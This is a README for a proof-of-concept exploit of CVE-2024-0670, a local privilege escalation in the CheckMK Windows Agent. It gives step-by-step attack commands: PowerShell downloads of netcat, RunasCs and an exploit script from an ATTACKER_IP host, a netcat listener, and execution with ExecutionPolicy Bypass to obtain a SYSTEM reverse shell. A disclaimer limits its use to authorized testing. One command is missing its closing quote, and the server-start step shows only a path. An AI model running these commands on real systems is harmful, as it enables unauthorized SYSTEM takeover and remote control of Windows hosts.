CVE-2024-0670 – CheckMK Agent Local Privilege Escalation (PoC)

This repository contains a simple and clean proof-of-concept for CVE-2024-0670, a local privilege escalation vulnerability in the CheckMK Windows Agent. A low-privileged user can gain SYSTEM privileges by abusing writable temp file paths executed during MSI repair.

🔍 Vulnerability Summary

• Vendor: Tribe29
• CVE: CVE-2024-0670
• Advisory: https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/

During an MSI repair, CheckMK executes files under:

  C:\Windows\Temp\

If a normal user can place files there with predictable names, they can execute commands as NT AUTHORITY\SYSTEM.

This exploit seeds multiple payload filenames and triggers the MSI repair to achieve SYSTEM execution.

📂 Files

RunasCs.exe     → runas replacement (plaintext password support)
nc.exe          → Netcat (reverse shell)
exploit.ps1     → CVE-2024-0670 exploit script
README.md       → documentation

🛠 Requirements

• Low-privileged Windows user
• PowerShell enabled
• CheckMK Windows Agent installed
• Ability to download files
• Python (for simple HTTP server)
• Netcat listener on attacker machine

📡 Start HTTP Server

  C:\Windows\Temp\

📥 Download Tools on Target

Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1

🚀 Running the Exploit

Start a listener on your machine:

nc -lvnp 1111

.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"

If successful, you receive a SYSTEM reverse shell.

🔧 Build RunasCs Manually (Optional)

net4: 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs 

net2: 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs

⚖️ Legal Disclaimer

This project is for educational and authorized penetration testing only. Do not use it for illegal purposes. The author is not responsible for misuse.